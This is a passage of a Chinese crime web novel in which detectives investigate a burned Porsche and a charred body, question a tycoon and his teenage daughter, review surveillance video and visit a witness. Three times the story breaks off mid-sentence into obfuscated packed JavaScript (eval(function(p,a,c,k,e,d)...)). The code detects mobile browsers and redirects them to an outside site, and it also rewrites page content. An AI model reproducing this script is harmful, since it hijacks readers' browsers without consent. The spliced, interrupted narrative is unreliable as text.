“嗯,”白超然把一组图片递过来,“从目前燃烧完全的车架规模和伤口程度来看,没有充分的击打空间,应该不是第一现场。” “死亡时间呢?” “前天下午,也就是6月9日16时左右,能够出现继发性感染诱发冠心病,说明死者受打击到死亡,中间还拖了很长时间。很大程度上存在这种可能,6月8日凶手就已经将死者击晕,存放在某处,可能是车内,也可能是其他地方,6月10日凌晨3点才进行焚毁的。” 他顿了顿,略带遗憾地说:“目前尸体高度碳化,具体受打击时间,没办法确定。” 谢隐伸手想拍拍白超然的肩膀,但一想对方的洁癖,又缩了回来。但还是安慰道:“别介意,你已经很专业了,每次提供的信息对破案都很有帮助。” 白超然没领情,依旧那副淡然的面孔:“我不是觉得对不住你,我只是遗憾这件事本身。” 谢隐忍住人生第一万次想要踹死白超然的冲动,继续问:“高度碳化,还能提取dna么?” “能,”白超然将资料翻篇,“后脑处找到一块没能燃烧完全的头皮和一小撮头发。喏,就是这些。” 谢隐看着照片上的那一撮黄得近乎发白的头发,喃喃道:“是个黄毛。染的还是天生?” “天生的。” 谢隐差异:“外国友人?” 白超然摇头:“从目前的dna分析来看,应该是亚洲人种,外国人可能性不大,因为检测结果显示,死者男性,身高170,生物年龄37岁左右,患有白化病。dna库里没找到相同样本,说明没有前科。至于国籍是什么,不归我们法医管。” 谢隐只能心中暗自腹诽,装作没听懂对方搓火。 不管怎么样,死者是一位患有白化病的中年男性,这已经算得上很重要的信息了。 —— 案发地点偏僻,所在的村道根本没有监控摄像头。距离最近的两个摄像头也分别又1.7公里和2.2公里。其间道路错综复杂,又有青纱帐作掩护,可以到达现场和逃离现场的路径不计其数。所以卢晓明从交警队拷贝回来的监控视频竟然高达700多个G。 “头儿,这么多,哪看得过来啊?” 谢隐没给他撒娇卖萌的机会:“看不过来也得看。” 因为谢隐十分清楚,越是这种没有头绪的案件,看似拙笨的老方法就越有效果。犯罪分子往往自以为心思缜密,可以做到天衣无缝。却忘了一个最朴素的道理,只要做过的事情,一定会留有痕迹。 就在卢晓明和一组探员哀嚎着开始看视频不久,韩易满头大汗地跑回来了。 刚想眉飞色舞地说什么,一想到谢隐的面子,生生把那句“那报案人还真神了”咽了回去。只直中要害汇报:“头儿,车主找到了。” 根据4S店提供的本市屈指可数的几位冰莓粉taycan购买者,再到交警部门排查分析,很快就锁定了车主——A市著名饮品公司凤鸣集团董事长、市人大代表李凤臣。 韩易很快联系到了李凤臣的公司,虽然想要见到这位身价百亿的富豪确实费了很大一翻周折,最终还是动用上了谢家老爷子的人脉,但好歹还是见到了,而且可以确定一点:车主起码不是被害人。 去往凤鸣集团的路上,韩易一直在不乐意地嘟囔:“现在人民警察的地位越来越卑微,办个案子脚起泡嘴破皮不说,还得动用私人关系。头儿,您家要没那么位大佛镇着,今儿咱们就进不去这栋楼不成?” 谢隐继续开车,看都没看韩易一眼,只回了句:“你丫哪来的废话?就说还干不干了?” 在这点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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女同事三个字以出口,谢隐和韩易对视了一下。 韩易会意,开口问:“女同事?” “啊······哈哈,”李凤臣压低了声线,一副神秘兮兮的表情,“小兄弟,无论在哪里共事,都可以被称为同事的,对吧?哈哈哈。” 李凤臣丝毫不掩饰脸上的猥琐表情,似乎略带炫耀的成分。仿佛作为一名功成名就的企业家,没有点桃色新闻,就匹配不上自己的身份一样。 然而谢隐才不管他口中的这位女同事到底是在公司里和他共事,还是床上共事。谢隐的全部注意力都集中在了李凤臣说话时的表情上。 李凤臣从头至尾都在望向韩易的方向,目光没有一秒钟朝向谢隐。很显然,他在有意躲避谢隐。这段话语调上扬,比方才闲扯淡时候提高了不少。干巴巴的尬笑时下巴微抬。短短一段叙述,用手摸过三次鼻子······ 这一切的一切都在表示,李凤臣即便没有完全扯谎,也是在半真半假,隐瞒着什么。 谢隐打断了他的自述:“所以,这辆车为什么会出现在案发现场,而不是你的女同事家里?” “这很明显啊小谢同志!丢了呗!”一说到这,李凤臣的声音比方才更提高了几分贝,“小谢,你们做警察的,可需要替我做主啊。” 谢隐压根没理会他拙劣而夸张的表演,继续问道:“可丢了车为什么不第一时间报警?而且依我看,李董事长看起来对此并不十分着急。” 李凤臣听到这,原本前倾的身子窝回到转椅中,食指抵住上唇,做作地思索了一下。而后突然失笑:“小谢警官,一辆保时捷而已,你觉得我会放在心上么?” 谢隐心中暗骂,您都这岁数了,再加上您这长相,就别刻意凹“霸道总裁”人设了。他忍住胃里翻江倒海的恶心,沉下脸色,追问了一句:“那一个条命,死在了你的车里,你也不放在心上么?” 谢隐的声音低沉,方才的戏谑客套全无,一如裹挟着粗粝石块的冰冷风沙,所到之处,不磨掉几寸血肉绝不会罢休。 李凤臣突然心头一凛,因为那么一瞬间,他在谢隐的严重看到了一股凝为实质的寒意。李凤臣觉得,那寒意如果再盛那么一丝半点,就是杀机了。 他也赶紧收了笑意,在这股无形的压制下,语气缓和了不少:“所以我才配合你们警察同志的调查嘛。我这个人,还是有点悲天悯人之心的。” 韩易觉得谢队给他开了个好头,他赶紧乘胜追击:“所以,这辆车一直到您所说的失踪之前,一直都是您这位女同事在开?” 李凤臣笃定点头:“对,人叫程莎莎,如果你们有任何问题,也可以去调查她。” “没有其他人碰过这辆车?” “没有。” 韩易的手下意识地碰了一下带来的档案袋,看向谢隐。随后转头继续说道:“好的李董事长,让我和这位程女士单独聊聊吧。” 就在李凤臣伸手即将拿起办公桌上的固定电话的时候,谢隐制止了他。 “不必了李董事长,今天的调查就到这吧,感谢您的配合。我可能需要和您科普一下,配合警察开展工作,是每个公民应尽的义务。更何况人死在了你的车里,您存在一定嫌疑。配合我们,是你唯一的选择,和狗屁悲天悯人没有一毛钱关系。” 谢隐旋即带着韩易在李凤臣的目送下转身就走,就在他拉开办公室大门的一瞬间,脚步却停了下来。 他突然回头,嘴角扯起一个意味深长的笑意:“李董,您夫人买给您的袖扣,品味真不错。” 4. 豪车惊魂4 韩易看着不紧不慢系上安全带的谢隐,感觉自己能急背过气去。 “头儿,李凤臣这孙子明显没说实话。来之前我都在交警队调过资料了,6月1日,有一个叫李莘的女孩驾驶过这辆车,在行驶至旗华大道与嵩山路交口处时因闯红灯被交警逼停。经查,这个女孩未成年,系无证驾驶。” 韩易说到这,拍了拍手中的档案袋,“这个叫李莘的女孩,是李凤臣的独生女。这车根本就不是买给那个叫程莎莎的女同事的,而是买给他女儿的!” 说到这,韩易发现谢隐仍旧不搭话,而是有条不紊地发动汽车、起步、驶离凤鸣集团。 韩易继续说:“头儿,刚才为什么不让我见一见那个程莎莎,我就能当面戳穿李凤鸣的谎言了。” 就在韩易正打算继续唾沫横飞地高谈阔论一番,谢隐却在转过一个弯之后突然开口了:“根本就没有什么程莎莎。” 车内的空气骤然凝滞了一般,韩易舔了舔干裂的嘴唇,把空调温度调低。 他需要一点时间来消化这句话。 “或许有一个叫程莎莎的人,她可以叫程莎莎,也可以叫王莎莎,李莎莎,叫韩易都行,根本不重要。重要的是,她现在拿着和李凤鸣校对了无数遍细节的剧本,正准备和你我这样的警察大谈特谈一番他们的金钱爱情观。” 谢隐顿了顿,“你和她聊到什么时候,都没有任何意义。因为她只是个演员。” 韩易侧过身子:“为什么这么说啊头儿?” 谢隐轻笑,眉梢微挑:“不打算拿小本本记下来吗?” 韩易也学了一嘴油腔滑调:“领导教诲,铭记于心,刻在骨子里,不需要拘泥于形式······哎呀头儿,你别卖关子了,我都快急死了。” “之前我们调查,李凤臣的妻子唐玲三年前去世了。二人白手起家,奋斗至今,育有一女。最起码在外人眼里,夫妻感情非常好。” “对,可是毕竟死了三年了,这么大个老板,另有新欢还是有可能的吧。” “可能,甚至可能另有无数个新欢。但无论有多少个,都不应该在今天被拿出来大谈特谈。因为李凤臣要么真的对妻子用情至深,要么是极力想在外人面前塑造一个深情鳏夫的形象。无论是哪种,他都不会在两个陌生人面前谈情人谈得那么眉飞色舞。” 韩易:“头儿你怎么看出来的?” “李凤臣西装袖扣已经有了磨损痕迹,这种装束并不符合他的百亿身价。袖扣不是寻常大牌常见款式,应该是定制款,左手的字母L应该代表的是李凤臣,右手的字母T则代表唐玲。怎么看,都和程莎莎三个字没有任何关系。” “头儿您明察秋毫!”韩易放慢语速,“但······单凭这一点,牵强了啊。” “李凤臣身后的书柜上共计摆放了六个相框,每张照片都只有李凤臣一个人。尽管六张照片里的他衣着不尽相同,但从照片背景和照片里李凤臣皮肤上的晒伤程度来看,这几张照片都是李凤臣在某次到迪拜旅游时照的。一个身价百亿的富豪,这辈子就出国旅游过一次?还需要用六张不同角度的照片来撑门面?” 韩易听得云里雾里,直接接不上话了。 “而且每个相框下面的书柜部分都有明显被挪动过的痕迹,即便书柜擦得很干净,但太阳光日积月累照射的痕迹很难抹去。所以说,这些照片是在很仓促的情况下胡乱冲洗出来,放在书架上的。它们替换了原本的照片——李凤臣和唐玲的合照。” 韩易这孩子机灵,一点就通。他仔仔细细回忆起李凤臣办公室里的诸多细节:“确实,那屋里只要是看起来有点年代感的老物件,都略带女性色彩,估计是唐玲生前布置的。李凤臣想到了在细节处下功夫,却没想到碰到了火眼金睛。” 这彩虹屁吹得熨贴。孺子可教,老师父不甚欣慰。 “可我还是有点想不明白,他处心积虑捏造出这么一个情人来,是为了什么?” “为了掩盖这辆车真正的主人。” 韩易一听,眼睛里都有了光:“师父,这车真正的主人是谁啊?” 谢隐修长的手指轻弹了一下韩易手中的档案袋:“喏。你不都查出来了么?” —— 湖岸中学位于A市近郊,是整个C省赫赫有名的合资学校。学费不菲,师资力量雄厚,名人校友不计其数。 进了这里,前途如何另当别论,但可以明显说明一点,家境起码是格外殷实的。 在湖岸中学就读的学生无外乎极端的两种。 一种是被精心打造过人生每一步的未来精英。这类孩子通常都是父母常青藤毕业,父亲精英圈核心,母亲早早回归家庭。兴趣爱好、人生轨迹、志愿活动、上哪所高校,甚至社会交往,都在父母的严格控制下,最终将成为某一领域的佼佼者。当然,也不乏精致的利己主义者。 另外一种则是父母突然发迹,大把钞票如潮水涌来。上一辈人没受过太高的教育,也不懂得怎么教育子女。觉得钱花到位了,就心安理得了。这些孩子们往往混完了高中生涯,再到国外非一流大学镀个金,就回家继承家业了。 很显然,李凤臣的女儿李莘,属于第二种。 李莘穿着湖岸中学的校服,一头过肩长发柔软垂下,发梢卷了几个卷,让这个原本青涩的年纪平添了几分妩媚。她算不上漂亮,五官紧凑拥挤,不甚精致。但好在皮肤不错,勉强能让整个人可以往美女那一卦靠拢。 李莘手上戴着一串紫檀木珠子。檀木用料一般,质感也欠佳,风格也和李莘的气质并不相符。谢隐盯着那串珠子看了许久,总觉得哪里透着一种怪异,可又实在说不上来。 尽管比同龄人看起来成熟不少,但李莘在言行举止上显然没有李凤臣的老奸巨猾。 “你们有什么事就快说,我还要去上课。” 谢隐倒是不忙:“我们咨询过了,这节课是数学课。数学老师因公出差了,所以这节课上自习。不会耽误你太长时间的,放心吧。” 李莘神色变化不大,拿起桌上的一根笔把玩起来:“我还是个未成年······” 谢隐想到了她会有这个理由:“所以我们安排了你的班主任在场。” 李莘没有说话,不知是默许了,还是在找其他理由。但在谢隐看来,更像是内心中在做着某种纠结的自我抗争。她将手中的弹簧中性笔按压在桌上,来来回回有三四次之多。良久,才说了一句:“好吧。” 这一切落在谢隐的眼里,他感受到了李莘的烦躁。那是一种近乎不安的烦躁,绝对超出了一个中学生被寻常问话的烦躁。 很好,谢隐想。 “李莘同学,近期,你驾驶过一辆牌照为CA5371的冰莓粉色保时捷,对吧?” 李莘很聪明,并没有矢口否认。 “对,我在交警队已经接受过批评了,罚款也交了。怎么,行政处罚还有售后服务?” 韩易恨得牙根痒痒,有其父必有其女。 韩易将手中的笔记本摊开,一边记录一边问:“那在6月1日之后呢?那辆车去哪了?” 李莘将身子靠在椅子背上,神态与李凤臣无异,让人不禁感叹基因学的深奥神秘。她轻描淡写地说:“我怎么知道?被我爸没收了。” 她的手依旧按压着弹簧笔,发出“啪嗒啪嗒”的声音。一旁的班主任老师听得心烦,正要说什么,却被谢隐伸手阻止了。 “所以,你最后一次见这辆车,是6月1日?” 李莘毫不犹豫:“对。” 韩易继续追问:“那6月1日之前呢?这辆车是谁在开?” “我爸的女同事。” 谢隐抢在韩易之前开口:“你爸的女同事······叫······王莎莎,对吧?” 李莘略作思考:“对,王莎莎。” 谢隐和韩易对视了一秒,彼此心领神会。韩易继续开口:“你和王莎莎相处得很好么?你毕竟是个未成年,你说借车,就借给你了?” 李莘没有犹豫:“关系还不错。毕竟是我爸给她出的钱,借我用一天,有什么?” 韩易:“你竟然和你父亲的女朋友关系还不错?“ 李莘的脸上泛起一种被窥探了家庭隐私的不悦,眼神之中短暂地闪过不屑的神情。但很快,她的脸色恢复了平静,甚至为为了强调自己刚才说过的话,还特意扬起了脖子:“我母亲已经去世三年了,王莎莎又不是小三。怎么?我和她关系好,是犯法了,还是违反道德了?” 韩易摆了摆手,示意李莘不必过分激动。 在李莘刻意扭过头去以示愤怒的间隙,韩易看向了谢隐。二人更加确定这位“王莎莎程莎莎傻傻分不清楚的莎莎”,是个不折不扣的工具人了。 谢隐鹰隼一般锐利的双眸一直仅仅盯着李莘的每一个细微的表情,就在这时,他觉得时机成熟了,他突然向前探了身子,发起了攻势。 “那你知道,这男的,和王莎莎,是什么关系么?”谢隐的脸上浮现出一种神秘兮兮的表情,声音也略压低了一些,仿佛在窥探一件十分见不得人的奸情。 那神态······不消照镜子,谢隐都知道自己看起来格外像山村长舌妇,村东头王二婶。 “我怎么知道什么关系?”李莘看起来更愤怒了,一双并不大的眼睛尽力瞪圆。仿佛丝毫不关心这个“他”究竟是谁。 谢隐这时不紧不慢地扯开一个意味深长的笑,眉梢轻挑,眼角也带着戏谑。仿佛每一个微表情都在透露着一个信息,“不是吧,你爹被绿了,你也不关心?” 一次次九假一真的试探,一点点由浅入深的引导,终于在谢隐韩易的步步为营之下,少女的心理防线被攻破了。 对于父亲尊严的捍卫,亦或是对于某种尚不能知的密辛的保护,小姑娘心中的怒火终于在这一刻爆发了。她近乎歇斯底里地怒吼了起来:“总不能说人死在我家车里了,就说是我们杀的人吧?” 谢隐和韩易对视,二人皆是会心一笑。 谢隐没有说话,只是一直注视着一脸怒气的李莘,一直等到对方的怒火渐渐消退,大口喘着粗气的时候,他才突然一变脸,一脸无辜地说道:“杀人?谁死了?你父亲不是说只是车丢了么?小姑娘,你为什么说人死在你家车里了?” 谢隐那张亦正亦邪的俊逸面孔在卖萌这件事情上实在有些力不从心,看得一旁的韩易不由萌生出一种“踹死副支队长需要判刑几年”的念头。 不过他也识时务,知道自己的身手想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043546|148943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要打到旁边的这位煞神无异于蚍蜉撼树。所以他秉承着“打不倒他就加入他”的原则,也扮出一副无辜的神色:“对啊,警方早就封锁了消息,你怎么知道,你家车里死人了?” 话音一落,李莘手中的弹簧笔突然失去了控制,从李莘的手里弹了出来,在空中划出一个并不完美的弧度。 正巧,被谢隐稳稳接住。 李莘尴尬地想要伸手去拿回自己的笔,但谢隐将笔游刃有余地在修长指间转动着,丝毫没有还给她的意思。 一种轻描淡写却压迫感十足的感觉扑面而来,李莘悻悻收回手,再没有了方才脸上或是淡然,或是愤怒的表情。取而代之的是猝不及防的慌乱。 “我······我看你们是刑警,又······又问车的事情,就觉得是车里死人了。” 这是李莘和谢隐二人说的最后一句话。接下来无论二人再问什么,都不肯作答了。 对方毕竟是未成年,又没有直接证据表明对方有犯罪嫌疑,谢隐也就没再难为她,让她回去上课了。 二人又和李莘的班主任聊了一会,得知李莘这个姑娘在这个学校里并不十分出众,也没犯过什么错误。总的来说,就是一个并不十分起眼的姑娘,最近也没有什么异常。 湖岸中学是寄宿制学校,出校门需要班主任教师或任课教师出具假条才可以。班主任领着二人在教务处查询了出校园记录,6月9日和6月10日,李莘均没有出过校园。 谢隐二人谢过班主任,便匆匆离开了。 “头儿,这个李莘即便不是凶手,也肯定知道点什么。接下来该怎么办?” 谢隐一边开车一边说:“李凤臣和李莘都有不在场证明,但这种身价的人想要杀人,不一定需要亲自动手。我去和局领导汇报,必要的话,可以查一下李凤臣和李莘的账户,有没有特殊经济往来。” 想到这,他顿了顿,“走吧,回去看看,卢晓明那有没有什么进展。” —— 卢晓明面前的桌子上散落着十几个一次性眼药水瓶,他眨了眨近乎干到生锈的双眼,对天长叹一口气。 结果还没等把气喘匀,余光里就瞥见了匆匆赶回队里的谢隐二人。赶紧坐直了身子,继续盯向电脑屏幕。 谢隐朝他后脑上拍了一下:“我又不是趴后门玻璃窥视你的班主任,你怕个什么劲儿。累了就歇会呗,搞得我跟周扒皮似的。” 卢晓明暗自腹诽,谢副支队长可能真没意识到自己在办案子时候,活脱脱就是位谢扒皮。 “有什么结果?” “牌照为CA5371的保时捷是在6月9日23时左右经由旗华大道向东行驶,最后一次出现在监控视频中是在当晚23时42分,由距离案发地最近的国道1.7km的探头拍摄到。” 卢晓明将几组图片展示出来:“至于车辆从什么地点行驶而来的,还需要扩大监控调查范围。车辆除前挡风玻璃外,其他玻璃都贴膜了。从十字路口的高清摄像头拍到的画面看,驾驶员佩戴鸭舌帽、口罩,穿长袖黑色帽衫,并将帽衫上的帽子套在了鸭舌帽外面,很难判断面部特征。副驾驶上没有人,车后排座位看不出是否有人。” 一旁的荆哲抵腮说道:“这个装束很明显是不想让人认出他来。驾驶员是死者的可能性较小,这样的话,很有可能是凶手。” 尽管法医已经给出死者16时左右就已经死亡的结论,几乎可以印证荆哲的推论,但谢隐还是没有这么急下结论,而是喃喃自语:“最后画面23点42分,距离案发地1.7公里,也就是说不出意外,6月10日0点前可以到达案发地点。这前后进出这区域的车辆有多少?” 屏幕上分屏为9个部分的监控视频仍旧滚动播放着,卢晓明拿起手中的材料继续汇报:“案发地较偏僻,只有西侧1.7km和北侧2.2km有两处摄像头。南侧为大片玉米地,东侧经过一条小河,是一喜乐村。两侧均无较近的摄像头。从两处摄像头的画面显示来看,6月10日0时到报案时间6月10日7时,共有17辆车驾离过这个区域。” “对这17辆车进行排查了么?” “都联系过了,每位车主也对当日的行程进行了解释。目前来看,都算说得过去。至于他们所说是否属实,还需要扩大监控范围,进一步排查。” 谢隐看着卢晓明那双已然布满红血丝的双眼,拍了拍他的肩膀,又对旁边几位民警说道:“兄弟们辛苦了。” 大家职责所在,也不只为得到领导一句宽慰。不过跟着一位外松内紧心里有数的领导,探员们干劲还是够足的。谁也没有多说一句,都低头继续干起活来。 谢隐拿起卢晓明的汇报材料,仔细看着这17辆车的车牌号和行程报告。 就在这时,他突然想起了什么,仔仔细细地寻找起一个印象深刻的车牌来。 “晓明,怎么没有CA2265呢?一辆深蓝色保时捷?” 卢晓明一脸疑惑:“这辆车在监控中只有进,没有出的记录啊。” “那是因为它根本没有离开现场!” 卢晓明这才一拍脑门想了起来,确实有这样一辆车到过案发现场。 因为这辆车的主人就是本案的报案人——秦淮。 5. 豪车惊魂5 没有人诧异于谢隐惊人的记忆力,毕竟这一点在漫长的同事生涯中,大家已经见怪不怪了。 韩易先开口:“头儿,这个秦淮也有必要调查么?毕竟人家发现之后第一时间报案了,还为咱们提供了······” 韩易的声音越来越小,因为他明显看到了谢隐眼神之中的不悦。 荆哲在一旁接过了话茬:“在刑事案件中,报案人往往都可以被列为第一嫌疑人。我们目前确定焚毁车辆是在6月10日0时到达案发现场的,法医提供的焚烧时间是凌晨3点,而报案时间却在上午7时。这有充分的时间给车辆和被害人燃烧殆尽,如果不能确定报案人何时进入案发地点,就无法确定是不是第一时间报案了。” 这个荆哲,和卢晓明韩易他们不同,并不隶属于A城刑警支队,是省厅下沉到A市交流学习的干警。副厅长洪敬业直接把他交给了谢隐,并且明确表示就是送他来学真本事的。 很明显,下沉交流结束后,必定会委以重任。 谢隐投去赞许的目光,示意他继续说。 “这个秦淮确实让人印象深刻。到达案发现场之后,我第一时间对他进行了问询。一般人面对死状如此惨烈的焦尸肯定会吓得不清,我们几位勘探现场的同志都有不同程度的干呕,他却表现得异常冷静。” 确实。直到现在,谢隐仍然能够想起在案发现场,谢隐正对上的那双寡淡冷澈的双眸,和那居高临下的温和笑意。 冷静得根本不正常。 “冷静成这样,还需要你去安抚?” 荆哲:“毕竟秦淮的两个学生都在某种程度上受到了惊吓,那个叫周舟的大学生吐了很长时间。当然,安抚只是一方面,更重要的是,了解情况。” 多说无益,谢隐示意卢晓明排查CA2265进入案发区域的时间,“我记得这辆车是朝南向停在路旁,很有可能北面过来的。” 卢晓明盯了一整天监控,已经对案发区域大致情况有了了解,干起活来也算轻车熟路了。很快就查到了车辆出现在案发地北侧2.2km监控视频的时间是6月10日6点50分。 根据国道上60km/h的平均速度计算,确实算得上第一时间报警了。 一直对秦淮抱有好感的韩易眼角微挑,一种胜利姿态看着荆哲。 好在谢隐此刻没工夫搭理他,否则这种得瑟的神情很难不挨揍。 谢隐沉吟片刻,问道:“距离北侧这个探头再远一点的探头呢?视频拿回来了么?” 卢晓明点头:“拿回来了。这两个监控距离2.17km,这段国道没有岔道可走,应该会留下影像。” 谢隐下巴微抬,示意他操作。 然而事情并没有如卢晓明所料,距离2.17km的113号探头一直没有出现车辆CA2265。 所有人都凑到了监控画面前,谢隐直接按了2倍速快进。终于,这辆车在所有人都眼睛干涩到决定放弃之前,出现在了监控画面里。 时间显示,6月10日,凌晨1:15。 举座愕然。 “2公里多一点的路程,走了五个多小时?”卢晓明喃喃,“拖着车走都走完了。” 荆哲理性很多:“他们一行人中有三人。不排除其中一人驾驶那辆粉色保时捷到达案发现场焚毁人和车之后,与另外等在4km外的二人会和的可能性。” 谢隐脚下一蹬,转椅向后撤了一大步,“尽快联系上这个秦淮,我需要当面会会他。” —— 联系上秦淮,已经是当晚8点多了。支队这一队人马已然精疲力竭,谢隐也没有夜访单身男青年的习惯。他就把不需要值班的干警都赶回了家:“赶紧的,都回家休息,我可不希望在新闻头条看见你们任何一个人。猝死工作岗位的军功章,咱们不需要。” 见到秦淮,已经是第二天上午10点了。 正赶上周末,秦淮不需要上班,几人约在了秦淮家里。这让韩易不禁感叹:“我都已经快忘了周末是什么意思了。” 谢隐心中掠过不忍,这群孩子打毕业起就跟着他干。自己老光棍一条,拼起来跟不要命似的。可手底下的这群孩子们大好青春,没时间聚会,没时间谈恋爱,没时间陪家人。 想到这,谢隐喉结一动,却发现嗓子干哑,没说出话来。 他很想许诺韩易,等这个案子结了,给大家放两天假,可他说不出口。做刑警这行,就是“忙完这一阵就可以忙下一阵”的工种,只要选择了这一行,伴随一生的必然是深夜响起的警铃、换班必出事的“诅咒”、没日没夜的加班和对家人无尽的愧疚······ 谢隐拍了拍韩易的肩膀,一个人上前去敲门。韩易丝毫不知道领导的内心是如何掀起巨浪又是如何强行平息下来的,只憨憨地跟在谢隐身后。 他也就是嘴上说说,放不放假,他并不在意。职业生涯能遇上谢隐这样的领导兼师父,他知道是值得感恩的。 秦淮家位于城北大学城附近,是这片青春气息浓郁的区域里为数不多的高档住宅小区。 和谢隐猜测的差不多,秦淮家里的风格和他本人并不无二致,黑白灰的色调让整个房间看起来干净整洁,但同时也觉得过分寡淡清冷,没有家的气息。 好在客厅角落里安静地陈设着一张沙发椅,脚踏上质地柔软的毛巾被轻轻拖着地面,几本书散落在地面和角几上。或许是急着去开门,沙发椅旁边的落地灯还没来得及关,一束柔和的暖黄光晕散落下来,给这个冰冷的房间增添了一丝温暖的意味。 谢隐不禁出神,如果窝在这里看看书,应该是很惬意的事情。 韩易几乎没见过领导分神,总觉得谢隐工作时做什么都有着很强的目的性,于是也跟着观察起那张沙发椅来。他细细观察着这个角落的细枝末节,暗自揣测这其中到底哪里有古怪。 殊不知,谢隐只是有点累了。他有点想窝进去睡一觉,虽然这种想法近乎于疯了。 秦淮用托盘端来两玻璃杯的温水,着玻璃杯洗刷得看不到一个指印,让谢隐不禁想起上初中时学过的那句话,“既不聚成水滴,也不成股流下”。 “谢谢,不用忙了。”韩易率先接过杯子,“今天来是想和您确认几个事情。” 秦淮在韩易旁边坐下,“好的,知无不言。” 说到这,秦淮看向谢隐:“谢警官不需要喝水么?我看你嘴唇有点干。” 谢隐大剌剌舔了一下嘴角的干裂处,这种不影响他帅气本质的细枝末节他向来不关心。 “不用管我,我不渴。你们两个聊,我能······随便看看么?” 秦淮毫不介意:“当然可以。” “秦老师,6月9日晚,您大概几点到达城东郊喜乐村的?”韩易特意将掌握的时间说成了前一天晚上,想看看秦淮的反应。 “嗯······我印象里应该是10日凌晨到达的吧。我们一行人9日晚上11点多从大学城出发,车程差不多要两个小时。” 时间线上,倒和警方掌握的基本吻合。 “那您到喜乐村做什么?” “之前和你们姓荆的警官汇报过了,去摄影、画画。” “在喜乐村滞留了多久?” “一直······到第二天报完警,你们警察离开,我们才离开。” “这么久?” “是,喜乐村北侧有一座不高的秃山,6月10日凌晨有狮子座流星雨,那座秃山是不错的观测地点。等流星雨过去之后,我们又在等待日出,画了会画。” 韩易不禁感叹这是什么神仙生活!如果给他一个不加班的夜晚,他一定睡他个昏天黑地。怎么可能有闲心去看什么流星雨?也没有媳妇。 哦,主要是因为没有媳妇。 韩易:“你们把车停在哪了?” “国道上,”秦淮顿了顿,“那座秃山是野山,附近没有可通车的路。我们就把车停在国道上,走了过去。” 韩易:“走了多久?” 秦淮:“差不多半个小时吧。” 韩易:“都有谁能证明?” 秦淮:“周舟、栾劲,我的两位学生。” 韩易:“没有其他人?” 秦淮“没有。秃山上只有我们三个人。” 也就是说,如果按照荆哲推测,他们其中一人驾驶被焚毁车辆,与另外两人会和,并不是没有可能,也没有人能为他们作不在场证明。 秦淮回身从书柜中拿出了一个相册,“这是我们当晚拍摄的照片。” 韩易不懂什么流星雨,只觉得幽蓝色的天空中骤然划过几道冷白的线条,映照着周遭隐约的山河景物。一种壮美又神秘的感觉扑面而来。 他点点头:“好看,好看。” 多说一个字,他都词穷。 就在这时,一直闲逛乱看的谢隐突然开腔:“秦老师,你有孩子了?” 韩易愕然。尽管一位34岁的大学教师有孩子并不是什么不合常理的事情,但秦淮不知是保养得当,还是天生瓷白显得很年轻,怎么看也不像是一个孩子的父亲。 秦淮看望向在盯着鞋柜中整齐码放的几个童鞋的谢隐,笑笑:“那都是我弟弟的东西。” 原来,他还有个弟弟。 谢隐来了兴致,走回秦淮跟前问道:“你弟弟,没在家么?” 秦淮听到这,略略压低了声音,食指抵住血色欠缺的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043547|148943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薄唇,轻轻“嘘”了一声。 “他睡着了,别吵醒他。” 说这话的时候,秦淮很温柔。与他那日居高临下的温和笑容不同,此刻他嘴角挂着的笑意让他那张瓷白的脸庞瞬间有了血色,衬得原本就清冷好看的五官更加有活力起来。 这个弟弟,是秦淮心头温柔所在吧。谢隐如是想。 秦淮把当日完成的日出油画拿给韩易看,二人又将当晚的一些细节一一比对。谢隐则仍旧漫无目的地在秦淮家这个空旷的客厅里乱看着。 他突然发现,刚才让他陷入沉思的沙发椅上放着的,是三岛由纪夫的《金阁寺》。 “秦老师喜欢看这本《金阁寺》?” 这话题太突然,让秦淮愣了片刻,但很快,就神色如常了。 “是我弟弟爱看,我也时常读读,想知道他为什么那么爱看这本书。怎么,谢警官也喜欢?” 谢隐摇摇头:“不爱看。小时候当名著被我妈强行要求看过一阵子,看到男主角给他父亲送葬那就看不下去了。这种将所有希望都托于外物,对身边人却极端冷漠的人,我不喜欢。” “所以他的悲剧是必然的,”秦淮澄澈的眼眸在那一瞬间暗淡下来,可他还是凝视着谢隐,“但是谢警官,真的有人所有意志都不需要外物的支撑吗?这个外物,可能是一个人,也可能只是一个念头。” 谢隐如鲠在喉,半晌没有说出话来。他没来由地想到孟昀,这不也是他一直支撑自己的“外物”么? 想到这,谢隐赶紧轻咬了下舌尖,血液的甜腥味道和微微刺痛让谢隐很快回过神来。他的目光又一次落在了角几上的照片上。 那是尚显青涩的秦淮和一个小男孩的合影。那时的秦淮没有现在这么苍白,看起来更有活力一点。旁边的小男孩和他长得很像,看起来七八岁的样子。 眼尖的谢隐一下子就看到了照片右下角的时间。那竟然是整整十年前! 一种诡异的感觉顿时涌上谢隐心头。十年前,秦淮的弟弟七八岁的样子,如今也该有十七八岁了吧?可鞋柜里整齐码放的却都是童鞋! 刑警独特的职业嗅觉让他觉得这个秦淮很有问题,他目光掠过整个客厅里的所有照片,全部都是秦淮和一个小男孩的照片。没有一张两个成年人的合照! 谢隐全身的肌肉都紧绷了,恰在此时,韩易完成了他的问询。 